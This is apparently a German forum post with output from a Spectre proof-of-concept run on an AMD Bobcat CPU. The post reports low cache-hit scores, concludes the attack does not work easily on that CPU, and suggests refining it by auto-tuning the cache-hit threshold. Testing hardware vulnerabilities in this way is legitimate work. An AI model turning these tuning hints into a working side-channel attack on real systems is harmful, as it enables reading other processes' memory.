Reading at malicious_x = 00001107... Success: 0x0D='?' score=41 (second best: 0x
4C score=18)
Reading at malicious_x = 00001108... Success: 0x0D='?' score=15 (second best: 0x
D2 score=5)
Reading at malicious_x = 00001109... Success: 0x0D='?' score=25 (second best: 0x
D0 score=10)
Reading at malicious_x = 0000110A... Success: 0x0D='?' score=29 (second best: 0x
D5 score=12)
Reading at malicious_x = 0000110B... Success: 0x0D='?' score=51 (second best: 0x
D1 score=23)
Reading at malicious_x = 0000110C... Success: 0x0D='?' score=11 (second best: 0x
D2 score=3)
Reading at malicious_x = 0000110D... Success: 0x0D='?' score=27 (second best: 0x
9B score=11)
Reading at malicious_x = 0000110E... Success: 0x0D='?' score=21 (second best: 0x
C7 score=8)
Reading at malicious_x = 0000110F... Success: 0x0D='?' score=19 (second best: 0x
4B score=7)
Bei Score 19 hätte er es in 1,9% der Fälle im Cache gefunden. Beim Bobcat ist es so, dass er bei Cache-Hit-Threshold 200 (Einheit?) fast nix im Cache vorfindet, und bei 230 (?) viele Blöcke schon mit >80% im Cache findet. Insofern funktioniert der Angriff da wohl nicht so einfach.

Man könnte das jetzt mit ein wenig Programmierzeit so ausfeilen, dass die Software das Cache-Hit-Threshold selbst ausixt und man nicht nur die häufigst und zweit-häufigst angetroffene Speicherseite auswertet, sondern auch etwas mehr Statistik mit den weiteren Treffern treibt. Ist mir jetzt aber zu aufwändig.
 
Zurück
Oben Unten